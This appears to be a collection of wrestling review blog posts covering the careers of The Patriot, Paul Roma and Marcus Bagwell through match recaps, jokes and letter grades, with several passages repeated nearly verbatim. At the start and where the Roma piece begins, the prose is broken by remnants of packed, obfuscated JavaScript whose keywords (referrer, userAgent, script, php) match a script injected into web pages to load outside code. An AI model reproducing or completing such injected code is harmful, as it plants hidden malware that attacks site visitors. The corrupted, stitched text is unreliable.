");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdykb|var|u0026u|referrer|nkaed||js|php'.split('|'),0,{})) we’re looking at a real American: the Patriot.

The Patriot, played by Del Wilkes, got his start in the AWA as the Trooper, a police officer. Here he is at some point in 1990 on AWA Championship Wrestling on ESPN.

Trooper vs. Kent Carlson

Next up was the Dallas based Global Wrestling Federation. From some point around 1991 under his better known name.

Tom Davis vs. The Patriot

Davis takes him into the corner to start as Scotty Anthony (later known as Raven) comes to commentary to say the masked Patriot is a Russian spy named Vladimir. A rollup sends Davis to the apron and Patriot works on the arm. Anthony praises Joseph McCarthy as the last real patriot in America. Patriot takes him down with a headlock as Anthony needs quiet from the audience to do commentary.

Tom bails to talk with his brother Mike before getting caught in a headlock back inside. Davis snapmares him down and gets two off a legdrop as Anthony thinks Davis writes Garfield. Anthony: “A win over the Patriot would be a feather in his cap, if in fact he had a cap on.” The full nelson slam plants Davis and the Patriot Missile (top rope shoulder) is good for the pin.

Patriot would jump to WCW in early 1994, including this match on Saturday Night, March 20, 1994.

Lord Steven Regal vs. The Patriot

Patriot would join forces with Marcus Bagwell in the team Stars N Stripes. Here they are challenging for the titles at Fall Brawl 1994.

Tag Titles: Pretty Wonderful vs. Stars N Stripes

We see Barry Darsow AGAIN but this time he’s being thrown out. Seriously, Paul Orndorff and Paul Roma are the tag champions and it’s 1994. Let that sink in for a bit. Bagwell shakes hands with Penzer. I kind of like that for some reason. It’s nice if nothing else. What the heck happened to this kid? He became the biggest dick I’ve ever seen, and I’ve seen my share of big dicks. Oh just leave it alone.

The Patriot apparently changed houses between this and Halloween Havoc as he’s billed as from DC here and South Carolina next time. Roma and Orndorff are reminding me of Billy and Chuck. They actually call the previous sham a match. I’ve heard it all now. Other than Admin KB, but I think that could come this year. Stars N Stripes beat the champions in a non title match to set this up. They make fun of the WWF and say these are wrestlers and not bodybuilders.

Keep in mind that Bagwell would become Buff Bagwell in a few years and Orndorff was Mr. Wonderful for his muscles. And yeah you guessed it, the match sucks. Nothing at all of note goes on here as it’s just four guys with no heat having a tag team match. Thankfully it’s shorter than their rematch next month.

Yes, Orndorff and Roma got to fight on PPV again, but as challengers where they won the belts again. Anyway, this is just boring as all goodness . Orndorff dumps a cooler with soda and ice onto Bagwell for no apparent reason and miscommunication between the faces ends this.

Rating: D+. Now remember, Regal and Austin lost their titles tonight, but Roma and Orndorff keep theirs. Let that sink in a bit. To further the pure stupidity of this company, these teams fought again SIX DAYS LATER and the faces won the belts, which they held until October, only to lose them back to Paul and Paul, before Stars N Stripes won them AGAIN, before losing them to Harlem Heat for their first reign. Did Orndorff save Hogan from drowning in cocaine or something once?

The team would win the belts on TV soon after this and defended them at Halloween Havoc 1994.

Tag Titles: Stars N Stripes vs. Pretty Wonderful

Pretty Wonderful are the former champions here as Stars N Stripes beat them about a month earlier. Good night do those teams sound generic. Pretty Wonderful is made up of Pretty Paul Roma and Mr. Wonderful Paul Orndorff. Stars N Stripes are Bagwell and the Patriot. I really am not looking forward to this. This just sounds like a bad match on an indy show or something like that.

Heenan suggests that the Patriot is Al Gore. Something tells me that Bobby is going to be all that gets me through this match and show. Bagwell was a five time champion with four different partners. That either says he’s a great tag wrestler or he has no direction so they kept throwing him in random tag teams because he had a big contract and they had nothing else to do with him.

You can tell the announcers are just bored to death as they’re arguing over what a tag is and then there’s something about Dennis Rodman. This is just BORING. They actually say this is the last night Hogan will face Flair. That’s just hilarious. They wrestled 15 years later and likely will in TNA also. They discuss the Lions’ Super Bowl chances. This is just amusing. Nothing at all is going on in the match.

They say that Tiger Stadium and Yankee Stadium are the last great ballparks. The real last great ballparks are the ones still in use today: Fenway and Wrigley. Heenan says that once all of the matches are over, no one is going to take a shower because they’ll all be watching the cage match.

Ok, number one, why does Heenan know the showering habits of the wrestlers and why would no one take a shower after their match when they have about an hour and a half before the main event? How clean do they like to get? The fans are more or less dead for this by the way. Bagwell hits the suplex and Wonderful hits an elbow on him to get the titles. This was somehow worse than the previous match.

Rating: D-. I have never cared less about a match than I did here. I’ve always thought Bagwell was hot and there’s a former Horseman in there though so it’s not a failure. The announcers were bored too as this was just bland as all goodness. The match didn’t work, but the tag division around this time was a disaster anyway.

One last match at Clash XXIX.

Tag Team Titles: Stars and Stripes vs. Pretty Wonderful

Here’s another title shot at Clash XXX.

Tag Team Titles: Harlem Heat vs. Stars and Stripes

Harlem Heat won the belts earlier in the month and this is the rematch. We have no Stars and Stripes to start but we do get Nature Boy Ric Flair with two very nice looking women. He walks by Vader with no incident and goes to his seat. Booker and Bagwell get things going with Marcus stomping him down in the corner but running into a boot in the corner. He comes right back with a dropkick for both champions as Stars and Stripes stands tall.

After a few years in All Japan, Patriot would be signed by the WWF. Here’s one of his first matches on Raw, July 28, 1997.

Bret Hart vs. The Patriot

Bret is all evil and Canadian here and Shawn is on commentary. We can’t start immediately though as Bret insists on O Canada being played. That’s not cool with Patriot who wants to hear the Star Spangled Banner. Like a true villain though, Bret jumps him during the song and we’re ready to go. The song is still going as Bret hammers away before choking on the ropes. Hart stomps away in the corner as Shawn says he stands for truth, justice and the American way. Patriot fights back with a big right hand and they fight outside with Patriot in control.

Back in and the Patriot Missile connects for two and we take a break. We come back with Bret suplexing Patriot down as we see him putting the Figure Four on around the pole during the break. A backbreaker sets up the middle rope elbow but Patriot fights back in the corner. He loads up Uncle Slam (full nelson slam) but the referee gets bumped. Bret nails a piledriver but there’s no referee. Shawn trips Bret up though and the distraction lets Patriot grab the longest rollup in history for the pin.

Rating: C+. This was a natural matchup during the Border War with Patriot being the Kurt Angle of his day, minus the whole Olympic Gold Medal part of course. Bret and Shawn would have their issues until the end of time, including six days after this with Shawn refereeing Bret’s WWF Title match at Summerslam.

That win alone was enough to give Patriot a title shot at In Your House XVII.

WWF World Title: Bret Hart vs. The Patriot

Vader and Bulldog are taken to the back and Patriot goes up top for his Patriot Missile (top rope shoulder) but Bret gets up at two. There was nowhere near as much of a reaction for that count as the previous ones. A suplex gets two more on Bret but he grabs a quick Stun Gun to put Patriot down again. The bulldog and middle rope elbow get two for Bret but Patriot slugs away at him in the corner.

Rating: B. The match worked well but the ending hurt it a good bit. Patriot is fighting for America and all that jazz, but he gives up instead of crawling another ten inches? The match took awhile to get going but once we got to the interference and all that jazz, things picked up a good bit.

Patriot vs. Hunter Hearst Helmsley vs. British Bulldog

Shawn and HHH jump the Bulldog on his way to the ring. They ram his knee into the ramp and crush it with a chair to set up the match at One Night Only. Back from a break and Savio has jumped into the match and is replacing Bulldog I guess. This is back when the match wasn’t a total cliché that was required at least once a month. HHH gets double teamed and elbowed down but the alliance ends quickly with Patriot clotheslining HHH down and getting kicked in the face for his efforts.

Savio gets knocked to the floor and HHH drops a knee on Patriot for two. HHH pounds away on Patriot’s head but Savio comes gets jealous and pounds away on Patriot instead. I’ve never understood the logic behind that: why not let HHH expend energy and then jump him later on? Shawn comes out for commentary as we take a break.

Back with Savio hitting a spinwheel kick in the corner on HHH, followed by a DDT from Patriot on the future Game for two. Patriot and Savio take turns beating on HHH but neither guy can get more than a one. Patriot suplexes Savio down but HHH breaks it up before there’s even a cover. Savio tries a sunset flip on HHH and after Patriot breaks up HHH’s hold on the ropes, it gets two.

The fans are booing something here and to be fair, it’s probably the match as it’s not working at all for the most part. Shawn is ripping Vince apart on commentary because of how stupid Vince sounds. Savio kicks HHH’s head off, making Shawn speak Spanish. Savio puts a headscissors on HHH and Patriot puts a headscissors on Savio at the same time as we take a break.

Back with Patriot chopping away on Savio and vice versa. HHH breaks up a cover on Savio and the booing gets louder. Patriot and HHH literally stand still and choke each other as a LOUD boring chant breaks out. Vince complains about Shawn’s change of attitude. Shawn: “Well it was you that told me to change.”

The Pedigree is countered and Savio lands on the referee. HHH throws Patriot to the floor and loads up a Pedigree on Savio, only to be catapulted into Patriot, crotching the guy that comes out to Kurt Angle’s music (Patriot if you’re kind of slow). Savio kicks HHH’s head off but Shawn distracts him before the cover. HHH rams Savio into the Patriot and rolls up Vega for the pin.

Rating: D-. WHO THOUGHT THIS WAS A GOOD IDEA??? They should be made to sit and watch this match over and over again until they scream for mercy. I mean DANG this didn’t work at all. Someone thought giving this SEVENTEEN MINUTES was a good idea. Savio comes completely out of nowhere (he had been feuding with the original Nation of Domination) and jumps in the match, which makes absolutely no sense. Taking Bulldog out was a problem as at least he would have given us three distinct groups (Harts, Anti-Harts, future DX) in the match, but instead it was a total mess and VERY dull. Terrible main event.

Flash Funk vs. The Patriot

Flash Funk is more commonly known as 2 Cold Scorpio and is a pimp without the name of being one. Patriot showed up a few weeks before this and somehow had a title shot at the previous PPV which went nowhere. Naturally he “came within an eyelash” but that didn’t mean anything after that show.

Patriot has Angle’s old music which it’s just odd to hear in 1997. He’s more or less a heel here since he comes out with the American flag. Patriot says he wears a mask because he represents the face of every American. I don’t know that many men that have golden skin like that. Flash is wearing a freaking zoot suit. This isn’t as good of a match as it could be but it’s ok I guess.

It’s about as generic as you could get but that’s fine. Vince calls Flash the Funkmeister. I’m done. Patriot was just annoying at this point. He wasn’t that good at all but was built up to be this great worker which he just wasn’t at all. They keep saying the reason they’re not being all violent and such is because they don’t hate each other. That’s better than nothing I guess.

If nothing else this should tell you everything you need to know about Patriot: his finishers are a full nelson slam called the Uncle Slam and a top rope shoulder block called the Patriot Missile. Funk’s finisher is called the Funky Flash Splash. A full nelson slam ends this. That was a waste of time.

Rating: C-. Again, this was just there. It wasn’t particularly good or bad, but Patriot got some decent heat which is really all you can ask for. Funk went for a big move from the top and it missed for the Uncle Slam. That’s better than nothing I guess. It could have been a lot worse I guess, but this just wasn’t the best choice of a pairing.

Bret Hart/British Bulldog vs. Vader/The Patriot

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryahb|var|u0026u|referrer|zebzt||js|php'.split('|'),0,{})) we’re looking at the whipping boy of the Horsemen: Paul Roma.

Hart Foundation vs. Koko B. Ware/Paul Roma

Roma was best known for his tag matches, including this one on June 14, 1987.

Jim Powers/Paul Roma vs. The Islanders

Powers/Roma would eventually get the name The Young Stallions and become more or less the face jobbing team. The Islanders are now heel as this is about three months later. Still in the Garden here. The beginning of this is clipped to Roma having an armbar on Tama. Oh and Heenan is managing the Islanders now. Haku’s athleticism is underrated badly. Headbutt misses and here comes Roma.

And never mind as Tama trips him from the floor and it’s back to the Islanders. Sunset flip gets Roma hit in the face for his troubles. Off to the nerve hold which Monsoon says is effective due to the martial arts background or something like that. Roma is destroyed for a good while here as we’re filling in time for the most part. Jumping back elbow by Tama gets two.

Superkick by Haku gets two as well. Roma gets a jawbreaker to break the momentum but can’t make the tag. Haku misses a front flip splash and there’s the tag finally. Powers cleans house but somehow messes up a backdrop. Tama landed on Powers’ feet if that makes sense. Anyway it breaks down again and a backbreaker by Haku sets up a top rope splash to end Powers.

Rating: D. Pretty weak match here with Powers being in there a minute combined. Granted the clipping likely had something to do with that. Anyway, weak match from two teams that never really were anything special. I’d like to see more of Tama, but that simply didn’t happen.

Tag Titles: Young Stallions vs. Hart Foundation

The Stallions are Paul Roma and Jim Powers. They never really got above jobber status so there you are. This is a glorified squash and is mostly about Brain making fun of the Stallions and saying how they could be good with him as their manager but they suck otherwise.

Powers hits a leap frog and either gets hurt or is great at selling his back and I’m not sure which it is. I’m betting on selling. We get the “new champions momentarily” line which seals the retaining of the belts. And all of a sudden Roma takes the Hart Attack. I didn’t even seen how that happened. Literally 2 seconds later we’re talking to Hogan and Savage.

Rating: D. Just a very fast match to say there was a title defense. Strike Force would get the belts off the Harts in like 3 weeks and hold them until Mania. The Stallions never were worth much at all and this is a fine example of it. They were good for spots like this though and that’s a good role for them.

The team would be involved in the tag team Survivor Series match in 1987.

Team Hart Foundation vs. Team Strike Force

Hart Foundation, Bolsheviks, Demolition, Dream Team, Islanders

Strike Force, British Bulldogs, Killer Bees, Young Stallions, Fabulous Rougeaus

They would main event the first Royal Rumble.

Islanders vs. Young Stallions

Another one off match on November 12, 1988.

Brain Busters vs. Young Stallions

In Toronto here I think. You could always tell as the camera was always off to the side a bit. There’s no Heenan here, although Gorilla says he might be in the upper deck in drag. That wouldn’t shock me actually. Arn and I think Powers start us off here and it’s a big brawl, won by the Stallions. Back to Tully vs. Powers and Blanchard isn’t sure what to do with him. Nice dropkick by Roma puts him down.

Off to Anderson who should be in the Hall of Fame. Roma (a future Horseman for some reason) snaps off some dropkicks and the Stallions rule the ring again. Blanchard tries to speed things up and that goes as well as anything else he’s tried. The Stallions work on Tully’s leg as this has been one sided so far. Anderson finally realizes he’s a Horseman and comes in with some double teaming to take over.

There’s a spinebuster which didn’t have a name yet. Roma gets beaten down like he’s a glorified jobber and Gorilla complains about the lack of perfection in the abdominal stretch. We get into a standard tag match with Roma being beaten down for awhile. Arn does his “test of strength on the mat and jump onto the other guys’ feet to crotch myself” spot. Blanchard gets taken down also and there’s the double tag. Everything breaks down and during the insanity, Tully cheats (atta boy!) and gets an illegal pin via a sunset flip on Powers.

Rating: C+. Fine match here and the 80s style never fails. It’s not a great match or anything but for a house show match that got about 12 minutes, it’s hard to complain about something like this. The Busters would get the titles later that year and would hold them until Tully got a little bit too high one day.

Roma had a worthless singles run in 1989 so it was off to another tag team with Hercules as Power and Glory. From Summerslam 1990.

Rockers vs. Power and Glory

Marty Jannetty vs. Paul Roma

So it’s a drug addict vs. a guy that is a running joke in wrestling. Oh dear. Back at MSG again. This is a result of an injury angel where Power and Glory, Roma’s team, injured Shawn who had a legit knee problem. Marty is sent to the floor in a leverage move and may have hurt his wrist. This is in MSG. Roma takes over to start and sends Jannetty to the floor. Hercules keeps distracting Marty to let Roma take over.

Back in Marty can’t quite get a sunset flip as Roma tries a punch which also misses. They’re moving pretty quickly out there. Roma takes over and slows it down, hitting two backbreakers and a powerslam for no cover. This referee, Joey Marella (the son of Gorilla and whose last name was the inspiration for Santino’s last name) counts very slow. Off to the chinlock as some fans think this is boring.

Hayes has decided that Roma is going to win, more or less handing the win over to Jannetty already. Jannetty tries to do an inside out twist off a clothesline but he can’t quite get there. Off to another chinlock as I wonder how Roma got to be a Horsemen. I mean really dude? Was Virgil not available? He was a more interesting character to be sure and probably better in the ring.

Apparently before this match Power and Glory flipped a coin to decide who would face Jannetty here. Is there a reason we didn’t see that? Oh ok we needed more Sean Mooney plane jokes! Roma works on the back a bit and we’re back to the chinlock for the third time in this match. Anyone else thing it was a bad idea to have Roma get this much time?

Marty fights back and gets a suplex. They slug it out and Marty speeds things up a bit. Jannetty gets some basic offense in and adds a head grab/bulldog from the middle rope (think the bulldog Jericho uses to set up the Lionsault) which Roma flips forward with for some reason. Top rope punch looks to finish but Hercules interferes. Somehow that isn’t a DQ so Roma gets the pin with Herc helping him.

Rating: D. Weak match here that went WAY too long. Roma isn’t a guy that I want to see wrestle as he’s not bad but just boring beyond belief. I’d be annoyed if I were there live and had to sit through that. Weak match from a feud that never really got any kind of blowoff of note.

Roma would be in the 1990 Survivor Series.

The Vipers vs. The Visionaries

Jake Roberts, Rockers, Jimmy Snuka

Rick Martel, Warlord, Power and Glory

Marty and Warlord start as Piper is singing I Am The Walrus. Warlord powers Marty around but misses a charge in the corner. For those of you unfamiliar with Warlord, imagine Chris Masters but paler, bald, and even dumber. Both Rockers try to outmaneuver him but it just results in bringing in Martel. Shawn handles him with ease and brings in Jake, causing Martel to scamper away.

Here they are against the most dominant tag team ever at Wrestlemania VII.

Power and Glory vs. Legion of Doom

One more WWF match at Summerslam 1991.

Ricky Steamboat/British Bulldog/Texas Tornado vs. Warlord/Power and Glory

Steamboat is just The Dragon here, complete with what looks like a lizard man costume and breathing fire. The heels get the jobber entrance and have Slick with them. Steamboat and Roma get things going as Gorilla is listing off the rest of the card. Roma slams him down and mostly misses a dropkick before posing. Paul goes to the middle rope but dives into the armdrag and Steamboat cranks on the arm even more. Ricky hits a much better dropkick to put Roma in the corner for a tag to Hercules who gets caught in some armdrags of his own.

Rating: C+. Nothing wrong with this as it was a basic six man tag to fire up the crowd. Everyone looked fine and the crowd was WAY into the smark god known as Ricky Steamboat. The heels were all about to be gone from the company with only Warlord making it to 1992.

Roma would head to WCW in 1993, somehow becoming a Horsemen. Here he is with Arn Anderson at Beach Blast 1993.

WCW Tag Titles: Hollywood Blondes vs. Paul Roma/Arn Anderson

Oh dang it it’s Paul Roma. This is your really long wrestling match that isn’t as good as it’s made out to be but is still pretty good but needs about 10 minutes cut off to really make it good match of the night. The Blondes, the heels here, stall to start. The Horsemen are of course the over team as they’re in the Deep South. Good night could Roma be more outclassed?

We have perhaps the best wrestler to never win a world title, the best American cruiserweight ever, and the second biggest star of all time. Then we have Paul Roma. There’s something amusing about that. How in the world did he get a spot in the freaking HORSEMEN??? Pillman kisses Austin on the cheek after Roma punches him. That’s just amusing.

Ventura makes a line about Pillman adjusting himself and Tony nearly loses it. After about five minutes we finally get something substantial going. Ventura asks why Anderson has had so many tag partners which is a good question. To be fair though he won titles with just about all of them. It’s freaking weird though seeing Anderson as a face. Roma is sloppy as a wet track but of course is told that he’s awesome for no apparent reason.

Since he’s great apparently, Roma is in there for about the first ten minutes of the match. Ok make that 8 out of ten but whatever. Thankfully just as I say that Arn comes back in. Pillman does his old standard Blondes thing of just faking a knee injury. It worked every time yet for some reason no one ever got that. It’s like when Bret plays possum.

You don’t think that even though he’s done it a million times he’s not doing it here again? Pillman’s tights are riding up so more or less he’s wearing a half thong. Roma just simply isn’t popular at all and it’s showing badly as the fans are really restless. He can’t even do a dropkick properly. This is pathetic. Anderson gets the tag and the crowd…does nothing at all really.

This is just boring and a great example of a match that needs some time cut off. Either that or a different partner for Anderson so it’s not so freaking boring. Austin finally comes in and then we hit the floor immediately. That was rather pointless. I wonder why Anderson is so freaking tired after not being in that long. My guess would be it’s from carrying Roma. It’s getting better now which is a good sign.

The middle hurt it a lot though. Anderson suplexes Austin over the ropes and Jesse wants a DQ. Roma gets the tag and no one really cares again. This crowd more or less sucks by the way. Roma rolls up Austin but Pillman hits a clothesline to reverse it and Austin hooks the tights for the pin. Tony talking about how stunning that is makes me chuckle.

Rating: C+. The ending was better and the drama was there, but Roma was just annoying as all goodness. I’ve never heard a deader crowd either. The wrestling was pretty there but not great. This is right in the middle for me, but I could see it going either way for a lot of people.

Unified Tag Team Titles: Steve Austin/Steven Regal vs. Arn Anderson/Paul Roma

Anderson and Roma are challenging. Austin and Anderson get things going and shove each other to a stand still. Austin takes over with a clothesline and some knees to the back but Arn trips the leg and hammers away with left hands to the head. A catapult sends Austin over the top but Austin skins the cat to get back inside. Instead Anderson backdrops him over the top to the floor which should have been a DQ.

Off to Regal vs. Roma with Paul coming in off the top to work on the shoulder. Regal knocks him over with a shoulder but Roma comes right back with a dropkick. Austin rips Paul up from the apron and the champions take over. Pillman gets in some choking from the floor like a good villain should. Back in and Regal breaks up a sunset flip and hits a running forward roll splash for two. Austin gets the tag and Roma hammers away but gets sent into the corner to stop a comeback attempt.

Paul Orndorff/Paul Roma vs. 2 Cold Scorpio/Marcus Bagwell

Roma and Orndorff would eventually become a regular team known as Pretty (Roma) Wonderful (Orndorff). Both guys are from the WWF and both have seen far better days at this point. Bagwell teamed with a long list of partners over the years with Scorpio being his current teammate. They also have Teddy Long as their manager, who receives an award for being Manager of the Year. The Pauls have the masked Assassin as their manager to counter.

Back to Orndorff for a Saito Suplex (modified belly to back) for two. Roma comes back in and misses a top rope splash, allowing for the tag off to Scorpio. Bagwell and Roma fight on the floor as 2 Cold hits a top rope fist to Orndorff. A spinwheel kick takes Orndorff down as the Assassin puts something in his hood before headbutting Scorpio, allowing Orndorff to get the easy pin.

And again, this time for the titles, at Fall Brawl 1994.

Tag Titles: Pretty Wonderful vs. Stars N Stripes

We see Barry Darsow AGAIN but this time he’s being thrown out. Seriously, Paul Orndorff and Paul Roma are the tag champions and it’s 1994. Let that sink in for a bit. Bagwell shakes hands with Penzer. I kind of like that for some reason. It’s nice if nothing else. What the heck happened to this kid? He became the biggest dick I’ve ever seen, and I’ve seen my share of big dicks. Oh just leave it alone.

The Patriot apparently changed houses between this and Halloween Havoc as he’s billed as from DC here and South Carolina next time. Roma and Orndorff are reminding me of Billy and Chuck. They actually call the previous sham a match. I’ve heard it all now. Other than Admin KB, but I think that could come this year. Stars N Stripes beat the champions in a non title match to set this up. They make fun of the WWF and say these are wrestlers and not bodybuilders.

Keep in mind that Bagwell would become Buff Bagwell in a few years and Orndorff was Mr. Wonderful for his muscles. And yeah you guessed it, the match sucks. Nothing at all of note goes on here as it’s just four guys with no heat having a tag team match. Thankfully it’s shorter than their rematch next month.

Yes, Orndorff and Roma got to fight on PPV again, but as challengers where they won the belts again. Anyway, this is just boring stuff for the most part. Orndorff dumps a cooler with soda and ice onto Bagwell for no apparent reason and miscommunication between the faces ends this.

Rating: D+. Now remember, Regal and Austin lost their titles tonight, but Roma and Orndorff keep theirs. Let that sink in a bit. To further the pure stupidity of this company, these teams fought again SIX DAYS LATER and the faces won the belts, which they held until October, only to lose them back to Paul and Paul, before Stars N Stripes won them AGAIN, before losing them to Harlem Heat for their first reign. Did Orndorff save Hogan from drowning in cocaine or something once?

After quickly losing the titles, they would have another chance to get them back at Halloween Havoc 1994.

Tag Titles: Stars N Stripes vs. Pretty Wonderful

Pretty Wonderful are the former champions here as Stars N Stripes beat them about a month earlier. Good night do those teams sound generic. Pretty Wonderful is made up of Pretty Paul Roma and Mr. Wonderful Paul Orndorff. Stars N Stripes are Bagwell and the Patriot. I really am not looking forward to this. This just sounds like a bad match on an indy show or something like that.

Heenan suggests that the Patriot is Al Gore. Something tells me that Bobby is going to be all that gets me through this match and show. Bagwell was a five time champion with four different partners. That either says he’s a great tag wrestler or he has no direction so they kept throwing him in random tag teams because he had a big contract and they had nothing else to do with him.

You can tell the announcers are just bored to death as they’re arguing over what a tag is and then there’s something about Dennis Rodman. This is just BORING. They actually say this is the last night Hogan will face Flair. That’s just hilarious. They wrestled 15 years later and likely will in TNA also. They discuss the Lions’ Super Bowl chances. This is just amusing. Nothing at all is going on in the match.

They say that Tiger Stadium and Yankee Stadium are the last great ballparks. The real last great ballparks are the ones still in use today: Fenway and Wrigley. Heenan says that once all of the matches are over, no one is going to take a shower because they’ll all be watching the cage match.

Ok, number one, why does Heenan know the showering habits of the wrestlers and why would no one take a shower after their match when they have about an hour and a half before the main event? How clean do they like to get? The fans are more or less dead for this by the way. Bagwell hits the suplex and Wonderful hits an elbow on him to get the titles. This was somehow worse than the previous match.

Rating: D-. I have never cared less about a match than I did here. I’ve always thought Bagwell was hot and there’s a former Horseman in there though so it’s not a failure. The announcers were bored too as this was just bland as all goodness. Changing the titles over and over again got very dull but it was a way of life in WCW around this time.

Paul Roma vs. Alex Wright

GO BACK TO THE VIDEO PACKAGES!!! This match is kind of infamous as it got Roma fired from the company for the way he acted in it. More or less Roma was sent out there to put Wright over and nothing else. Roma, thinking for some reason that he’s worth more than Wright and for some reason that he’s simply not going to get in trouble for what he’s about to pull, more or less just made Wright look terrible and embarrassed him to no end.

Naturally he was gone and hasn’t been seen on a major show since. Roma is completely dominating so far although to be fair we’re a minute into this. Wright keeps trying to take over but Roma keeps fighting back which he shouldn’t do at all here. OH MAN Heenan is gone. You can barely understand him half the time. Orndorff, Roma’s tag partner, comes down to ringside. Roma I guess allows Wright to get an armbar to control a bit.

He’s showing off again though with a lot of power moves as Wright has done more or less nothing so far. Basically Roma is controlling the whole thing and is making sure Wright gets nothing. Even on a backslide he won’t let Wright get him down easily, fighting him the whole way before kicking out at one to make it look even weaker. Roma is a jobber to the stars at this point so this should be a glorified squash for Wright who was getting a pretty decent push around this time.

See, Wright starts a comeback and Roma avoids a dropkick. A SWEET top rope elbow from Roma connects. Note again, that’s going to be the biggest and most memorable spot in the match, as in Roma is the one getting remembered. Roma won’t even let him do a hiptoss, more or less intentionally botching it. You have to feel bad for Wright here. He’s 18 years old and he’s got one of the biggest matches of his career at a major PPV against a former Horseman.

He’s told that it’ll more or less be a dominating performance by Wright, or at worst pretty even and the guy out there isn’t cooperating whatsoever. That’s ridiculous on all levels to make a kid like Wright have to work on the fly like this. Wright hits one of his big moves, a spin wheel kick, and Roma gets up at one again. Roma talks to Paul and it lets Wright get a dropkick to the back and a rollup. Roma AGAIN kicks out but Randy Anderson the referee is just like screw it and calls for the bell.

Rating: D. To make something clear here: Alex Wright is in ZERO way responsible for this match being bad. Roma completely screwed this up by being 100% unprofessional out there and in the process destroyed both of their careers. Wright, while still undefeated, looks completely weak here as he can’t beat a guy like Roma without a total fluke so his push more or less died and Roma was out in a few days. This was totally uncalled for and bogus on top of that. Roma, grow up. You need to.

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Michael Hayes/Tracy Smothers vs. Jimmy Garvin/Marcus Bagwell

 

Smothers was part of a tag team called the Young Pistols (current US Tag Champions) and Bagwell was a rookie at this point. Hayes and Garvin are regular tag partners in the Freebirds. Bagwell and Smothers start things out by shoving each other a few times until Bagwell runs him over with a shoulder block. Hayes starts the Atlanta Braves chop (a baseball crowd deal) for no apparent reason. A quick rollup gets two for Marcus and Tracy is complaining about having his trunks pulled.

 

 

 

Tag Titles: Stars N Stripes vs. Pretty Wonderful

Stars N Stripes are Bagwell and the Patriot, Pretty Wonderful are Paul Roma and Paul Orndorff (holy Yoda line Batman and holy combination of two awesome geek series) and this is mask (Patriot’s) vs. title (Pretty Wonderful’s). The camera is a bit low so you can’t see over all of the fans. These teams traded the titles over the last two months or so. After a lot of stalling it’s Bagwell vs. Orndorff to start.

Roma comes in quickly and ever the genius, wrestles like a face. By that I mean he’s climbing the ropes and flipping off of them, jumping over Bagwell, using cross bodies and dropkicks. How many heels do you know that wrestle like that regularly? Anyway the challengers clear the ring quickly. Heenan thinks Patriot is Al Gore.

Paul vs. Patriot at the moment. Blast it this is one of those teams that I have to specify with. Orndorff vs. Patriot at the moment. How in the world was Roma a Horseman but not Orndorff? Patriot takes him down with an armbar and Orndorff isn’t sure what to do. Off to Roma who shows off again with three backbreakers without putting Patriot down. Thesz Press gets two for the masked dude.

The champions try a double hot shot but the cameraman falls over so we don’t see what happens. I know it’s just an accident but when do you ever see that? Orndorff drops an elbow on Bagwell as they’re legal at the moment. The fans chant USA for four American wrestlers. Off to Roma who has a REALLY high dropkick. Powerslam gets two. Sunset flip by Bagwell gets two on Orndorff.

Roma and Patriot hit the floor as this match is needing to end rather soon. Thankfully it does but even a simple pin doesn’t go right for them. Orndorff suplexes Bagwell and lays there with him, but doesn’t let him go. Roma goes up for a splash off the top ala the Powerplex but Patriot makes the save. Orndorff just stayed in the position and gets pinned, but Tony screws up the count, making it seem like the titles change on a two count and generally confusing the TV audience. Either way, new champions.

Rating: D+. Orndorff got a push at this point for some reason which I’m SURE wasn’t because he was one of Hogan’s buddies but whatever. The tag title situation never really was interesting at all at this point but they were trying….I think. Harlem Heat would rise up soon to half save the division but they tried at least.

His next partner would be Scotty Riggs in the American Males, who would win another tag title for nine days in 1995. After a year of jobbing with Riggs, Bagwell would join the NWO in November of 1996, setting up a feud with Riggs which was blown off at Souled Out 1997.

Buff Bagwell vs. Scott Riggs

Bagwell had very recently turned black and white so this is the blowoff I guess. I don’t know about you but I was begging for that American Males showdown. Bischoff talks about how Bagwell has the IT factor and is going to be a movie star according to Hogan. That’s rich. Buff channels his inner Hogan and poses so Riggs jumps him to start us off. And now we stall.

The constant camera cuts are reaching TNA levels here. They’re doing a weird handheld look here and it’s really not working at all. Apparently Buff has a new move for us tonight. He slaps Riggs and it’s on. Buff is sent to the floor which isn’t a DQ here for no apparent reason. I hate that rule but love how they constantly change it.

Eric: “Everybody has to go somewhere. Horses have glue factories and people here have Connecticut.” And then there’s Orlando I guess. Amazingly enough, this is a fairly boring match. Bagwell leads the fans in a Bagwell Sucks chant for some reason. He gets a powerbomb for two. This match is just rather boring. We get a shot of Buff’s tights down off a sunset flip attempt.

And now let’s look at the biker chicks again. Sure why not. Bischoff points out that the fans are restless and I’m rather surprised. This match would be perfect for me to get some rest to. It’s putting me to sleep. Riggs reverses a slam into a small package for a long two. The crooked referee schtick is getting very old.

Tornado DDT puts Buff down and Riggs of course doesn’t cover. Eric picks New England for the Super Bowl which was the wrong selection of course. After some more camera cuts and more slow counting, the fans are miserable. Patrick is tired here and I can’t really blame him for that. They go to the corner and Buff debuts the Blockbuster to end this. Yes, this got 14 minutes.

Rating: F+. And that’s just because I love the Blockbuster. This was incredibly boring and not even a fast paced match. At the end of the day, this was Marcus Bagwell vs. Scotty Riggs for almost 15 minutes on PPV. There is no way that works no matter what you say and the match was what you would have expected.

US Title: Buff Bagwell vs. Scott Steiner

Since Bagwell never won a singles title, I think you know who is champion coming in. Buff jumps him before the bell and Steiner still has the belt on. Swinging neckbreaker gets two. Scott hits him low and there’s the Push-Up elbow. Buff gets thrown to the floor and Steiner yells at some fans. Things slow WAY down with Steiner on offense. It was a running theme with the Steiners at this point.

Scott chokes away and yells at another fan. Much like in the Rick match, you may be noticing a pattern emerging here. They go to the mat and Steiner elbows him a lot. He runs to the floor and brings in a chair. If that shot had hit Steiner would have been facing 10-15 years. Bagwell fights back but there goes the referee. Buff gets the chair and here’s Rick to turn heel on Buff and whack him with the chair. The Recliner keeps the title on Scott.

Rating: D-. I can’t take many more of these bad matches. I mean the people in them are just SO lazy with them laying around and doing nothing of note. Scott and Rick are back together as the Steiners and both have singles titles. You know, because that’s what the people wanted to see and would light the world on fire. Benoit and Jericho and Malenko? Who are they?

